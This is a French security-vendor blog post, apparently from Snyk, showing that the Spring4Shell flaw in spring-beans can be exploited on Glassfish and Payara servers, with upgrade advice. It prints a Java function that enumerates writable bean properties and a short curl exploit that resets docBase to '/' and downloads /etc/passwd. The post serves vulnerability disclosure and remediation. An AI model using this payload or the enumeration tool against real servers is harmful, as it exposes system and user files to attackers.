Skip to main content

Spring4Shell s’étend à Glassfish et Payara : même vulnérabilité, nouvel exploit

Écrit par
blog feature snyk policies

8 avril 2022

0 minutes de lecture

La semaine dernière, nous avons annoncé la découverte de Spring4Shell, une vulnérabilité d’exécution de code à distance (RCE) dans les anciennes versions du package spring-beans. Dans notre article Spring4Shell : explication de la vulnérabilité RCE zero-day dans Spring Framework, nous avons montré comment un ancien exploit Tomcat visant CVE-2010-1622 redevenait pertinent. En raison de la nature du problème, nous nous attendions à ce que d’autres charges utiles soient créées en plus de cet exploit Tomcat connu. Aujourd’hui, notre équipe de recherche en sécurité a confirmé que c’était bien le cas. Il existe désormais des exploits similaires pour Glassfish et Payara, qui exploitent le même problème dans Spring, mais avec une charge utile différente. L’équipe Payara a été informée de notre découverte, ce qui l’a aidée à confirmer sa propre analyse : certaines configurations de Payara pourraient être vulnérables.

Mais avant tout, il ne s’agit PAS d’une nouvelle vulnérabilité. C’est simplement un nouvel exploit qui confirme notre hypothèse : le problème dépasse celui de Tomcat initialement identifié. Bien que Payara publie un correctif pour les versions concernées de Payara Community et Payara Enterprise, nos recommandations de remédiation restent les mêmes. Mettez à jour votre spring-beans vers la version 5.3.18 ou 5.2.20 ou une version ultérieure. Nous tenons à souligner qu’il est absolument nécessaire de passer aux versions plus récentes de ce package. Vous devez en faire votre priorité absolue.

Trouver d’autres propriétés modifiables à exploiter

L’équipe de recherche en sécurité de Snyk a utilisé la fonction ci-dessous pour déterminer les attributs modifiables disponibles sur un serveur d’applications donné. Cette fonction, créée par Kirill Efimov, de notre équipe de R&D en sécurité, s’appuie sur l’API Spring pour parcourir toutes les propriétés disponibles et dresser la liste de celles qui pourraient être utilisées pour compromettre le système.

public static HashSet<String> findWritablePds(Object root, String path, int depth, HashSet<Object> visited) {

  if (visited == null) {
     visited = new HashSet<>();
     visited.add(Integer.class);
     visited.add(Long.class);
     visited.add(Double.class);
     visited.add(String.class);
  }

  HashSet<String> res = new HashSet<>();

  if (depth <= 0) return res;
  if (visited.contains(root)) return res;
  else visited.add(root);

  try {
     BeanWrapperImpl impl = new BeanWrapperImpl(root);

     for (PropertyDescriptor pd : impl.getPropertyDescriptors()) {
        if (!impl.isReadableProperty(pd.getName())) continue;
        if (pd.getName().equals("accessible")) continue;

        if (impl.isWritableProperty(pd.getName())) {
           res.add(path + "." + pd.getName());
        }

        Object value = impl.getPropertyValue(pd.getName());

        if (value != null && value != Optional.empty()) {
           res.addAll(findWritablePds(value, path + "." + pd.getName(), depth - 1, visited));

           if (value.getClass().isArray()) {
              try {
                 Object[] casted = (Object[]) value;

                 for (int i = 0; i < casted.length; i++) {
                    res.addAll(findWritablePds(casted[i], path + "." + pd.getName() + "[" + i + "]", depth - 1, visited));
                 }
              } catch (ClassCastException cce) {
                 System.err.println("Exception casting class " + value.getClass().getCanonicalName() + ": " + cce.getMessage());
              }
           }
        }
     }
  } catch (Exception e) {
     e.printStackTrace();
  }

  return res;
}

En appelant cette fonction HashSet<String> result = HandlingFormSubmissionApplication.findWritablePds(greeting, "", 100, null); dans votre endpoint, vous pouvez facilement les répertorier et les examiner.

Exploiter le serveur Glassfish / Payara

GlassFish est un serveur d’applications similaire à Tomcat. Nous n’entrerons pas dans le détail de leurs différences, car ce n’est pas vraiment pertinent ici. Le serveur Payara est dérivé de GlassFish et présente de nombreuses similitudes avec celui-ci. Il s’agit toutefois de produits différents : Payara offre davantage de fonctionnalités que la version d’origine de GlassFish. L’équipe Payara a publié un remarquable article de blog sur ces différences, qui ne sont toutefois pas vraiment pertinentes pour cet exploit.

Reprenons la même application que dans notre précédent article de blog, mais déployons-la cette fois sur Payara Server (Community) 5.2022.1. La fonction du paragraphe précédent nous a indiqué que les attributs suivants étaient modifiables :

[.class.module.classLoader.resources.dirContext.docBase, .class.module.classLoader.parent.name, .class.module.classLoader.resources.dirContext.debug, .class.module.classLoader.resources.dirContext.allowLinking, .class.module.classLoader.resources.cache.desiredEntryAccessRatio, .content, .class.module.classLoader.resources, .id, .class.module.classLoader.resources.dirContext.cacheTTL, .class.module.classLoader.antiJARLocking, .class.module.classLoader.debug, .class.module.classLoader.resources.dirContext.cacheMaxSize, .class.module.classLoader.resources.dirContext.cached, .class.module.classLoader.resources.dirContext.caseSensitive, .class.module.classLoader.resources.cache.cacheMaxSize, .class.module.classLoader.clearReferencesStatic, .class.module.classLoader.delegate, .class.module.classLoader.resources.cache.maxAllocateIterations, .class.module.classLoader.resources.cache.spareNotFoundEntries, .class.module.classLoader.jarPath]

La propriété class.module.classLoader.resources.dirContext.docBase est particulièrement intéressante. C’est celle que nous utiliserons dans notre nouvel exploit.

Dans l’exploit ci-dessous, nous utilisons cette propriété pour définir docBase sur /. La racine étant désormais définie comme la véritable racine de la machine, nous pouvons accéder à des fichiers normalement inaccessibles. L’exemple ci-dessous montre qu’il est désormais possible de télécharger le contenu du fichier /etc/passwd en appelant :

http://localhost:8080/handling-form-submission-complete/etc/passwd

Exploit

echo "Setting doc base to /"
curl -X POST \
 -F 'class.module.classLoader.resources.dirContext.docBase=/' \
 http://localhost:8080/handling-form-submission-complete/greeting
sleep 2
echo "Downloading /etc/passwd"
curl http://localhost:8080/handling-form-submission-complete/etc/passwd

Inutile de préciser que ce n’est pas souhaitable : nous pouvons désormais lire n’importe quel fichier du système de fichiers. Cela peut révéler des informations précieuses à des personnes malveillantes pour préparer des attaques ultérieures, ou exposer des données relatives aux utilisateurs.

Le projet complet de l’exploit, créé par Calum Hutton, chercheur en sécurité chez Snyk, est disponible sur GitHub.

Mettez à jour Spring Framework dès que possible

Rappelons qu’il ne s’agit PAS d’une nouvelle vulnérabilité, mais d’un autre exemple d’exploitation de la même vulnérabilité Spring4Shell sur un serveur différent. La leçon essentielle est que ce problème dans Spring ne concerne pas uniquement Tomcat. Le problème au sein de Spring est assez général, et de nombreux exploits différents pourraient voir le jour pour divers serveurs. Ainsi, même si aucun exploit ne vise encore votre cas d’utilisation, cela ne signifie pas que vous n’êtes pas vulnérable !

La meilleure chose à faire, et à mon avis vous devez le faire, est de mettre à jour Spring Framework (ou au moins le package spring-beans) vers la dernière version. D’après nos observations, la mise à jour de votre package corrigera cette vulnérabilité, quelle que soit l’application que vous utilisez.

Snyk vous aide à garder une longueur d’avance en analysant régulièrement vos applications. Snyk vous avertit, vous et votre équipe, lorsque de nouvelles vulnérabilités sont détectées et vous recommande les étapes à suivre pour sécuriser vos applications. Qu’attendez-vous ? Lancez la mise à jour !

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis Capture The Flag en regardant à la demande notre atelier virtuel d’initiation.